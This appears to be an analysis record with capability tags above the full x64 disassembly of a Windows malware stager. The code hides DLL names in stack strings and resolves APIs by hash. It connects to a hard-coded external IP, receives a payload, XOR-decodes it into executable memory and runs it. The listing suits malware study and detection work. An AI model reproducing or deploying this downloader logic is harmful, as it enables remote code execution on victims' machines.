Function at 0x140001008
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
jmp 0x140001008
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f8]
sub rsp, 0x2f8
mov ecx, 0x726774c
call fcn.1400013dc
mov rbx, rax
mov dword [rsp + 0x78], 0x72657375
lea rcx, [rsp + 0x78]
mov dword [rsp + 0x7c], 0x642e3233
mov word [rbp - 0x80], 0x6c6c
mov byte [rbp - 0x7e], 0
call rbx
lea rcx, [rbp - 0x78]
mov dword [rbp - 0x78], 0x5f327377
mov dword [rbp - 0x74], 0x642e3233
mov word [rbp - 0x70], 0x6c6c
mov byte [rbp - 0x6e], 0
call rbx
lea rcx, [rbp - 0x68]
mov dword [rbp - 0x68], 0x6376736d
mov dword [rbp - 0x64], 0x642e7472
mov word [rbp - 0x60], 0x6c6c
mov byte [rbp - 0x5e], 0
call rbx
mov ecx, 0x6b8029
call fcn.1400013dc
mov ecx, 0xe0df0fea
mov rdi, rax
call fcn.1400013dc
mov ecx, 0x6174a599
mov r13, rax
call fcn.1400013dc
mov ecx, 0x5f38ebc2
mov r14, rax
call fcn.1400013dc
mov ecx, 0xe553a458
mov rsi, rax
call fcn.1400013dc
mov ecx, 0x5fc8d902
mov qword [rbp - 0x40], rax
call fcn.1400013dc
mov ecx, 0x614d6e75
mov r15, rax
call fcn.1400013dc
mov ecx, 0x803428a9
mov qword [rbp - 0x38], rax
call fcn.1400013dc
mov ecx, 0x4d7b1e12
mov qword [rbp - 0x48], rax
call fcn.1400013dc
mov ecx, 0xd0eb608d
mov r12, rax
call fcn.1400013dc
mov rbx, rax
mov dword [rsp + 0x70], 0x20343677
xor eax, eax
mov word [rsp + 0x74], 0x2020
mov byte [rsp + 0x76], al
lea r9, [rbp + 0x250]
mov byte [rbp + 0x24c], al
mov byte [rbp + 0x254], al
mov byte [rbp + 0x25c], al
mov byte [rsp + 0x34], al
mov byte [rsp + 0x3c], al
mov byte [rsp + 0x44], al
mov byte [rsp + 0x4c], al
mov byte [rsp + 0x54], al
mov byte [rsp + 0x60], al
mov byte [rsp + 0x6c], al
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x258]
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x248], 0x312e3334
mov dword [rbp + 0x250], 0x342e3733
mov dword [rbp + 0x258], 0x32322e32
mov dword [rsp + 0x30], 0x30
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x58], 0x73257325
mov dword [rsp + 0x5c], 0x73257325
mov dword [rsp + 0x68], 0x73257325
lea r8, [rbp + 0x248]
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x10]
call rbx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x40]
lea rax, [rsp + 0x48]
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x30]
call rbx
lea r9, [rbp - 0x30]
lea r8, [rbp - 0x10]
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x10]
call rbx
mov ecx, 0x202
lea rdx, [rbp + 0x50]
call rdi
test eax, eax
jne 0x1400013c8
lea edx, [rax + 1]
xor r9d, r9d
lea edi, [rax + 2]
mov dword [rsp + 0x28], edx
and dword [rsp + 0x20], eax
lea r8d, [rax + 6]
mov ecx, edi
call r13
mov rbx, rax
test rax, rax
je 0x1400013c8
lea rcx, [rbp + 0x10]
mov dword [rbp - 0x58], 0x84ef0002
call qword [rbp - 0x48]
test rax, rax
jne 0x140001274
lea rcx, [rbp + 0x10]
call r12
jmp 0x14000127d
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [rbp - 0x54], eax
mov r12d, 0x10
jmp 0x140001293
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, r12d
lea rdx, [rbp - 0x58]
mov rcx, rbx
call r14
test eax, eax
jne 0x140001288
xor r9d, r9d
lea r8d, [rax + 6]
lea rdx, [rsp + 0x70]
mov rcx, rbx
call rsi
mov al, byte [rbp - 0x56]
lea rdx, [rbp + 0x240]
mov byte [rbp + 0x240], al
xor r9d, r9d
movzx eax, word [rbp - 0x56]
mov r8d, edi
shr ax, 8
mov rcx, rbx
mov byte [rbp + 0x241], al
call rsi
xor r9d, r9d
lea rdx, [rbp + 0x248]
mov rcx, rbx
lea edi, [r9 + 4]
mov r8d, edi
call rsi
xor r9d, r9d
lea rdx, [rbp + 0x250]
mov r8d, edi
mov rcx, rbx
call rsi
xor r9d, r9d
lea rdx, [rbp + 0x258]
mov r8d, edi
mov rcx, rbx
call rsi
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov r8d, edi
mov rcx, rbx
call rsi
xor r9d, r9d
lea rdx, [rsp + 0x38]
mov r8d, edi
mov rcx, rbx
call rsi
xor r9d, r9d
lea rdx, [rsp + 0x40]
mov r8d, edi
mov rcx, rbx
call rsi
xor r9d, r9d
lea rdx, [rsp + 0x48]
mov r8d, edi
mov rcx, rbx
call rsi
xor r9d, r9d
lea rdx, [rsp + 0x50]
mov r8d, edi
mov rcx, rbx
call rsi
mov edx, 0x1c9c380
lea r9d, [rdi + 0x3c]
xor ecx, ecx
mov r8d, 0x1000
call qword [rbp - 0x40]
mov rdi, rax
test rax, rax
je 0x1400013c8
xor esi, esi
mov r14d, 0x64000
mov rdx, rax
jmp 0x1400013af
xor r8d, r8d
test eax, eax
je 0x1400013a8
lea ecx, [r8 + rsi]
inc r8d
xor byte [rcx + rdi], 0x99
cmp r8d, eax
jb 0x140001398
add esi, eax
mov edx, esi
add rdx, rdi
xor r9d, r9d
mov r8d, r14d
mov rcx, rbx
call r15
cmp eax, 1
jge 0x140001391
mov rcx, rbx
call qword [rbp - 0x38]
call rdi
add rsp, 0x2f8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret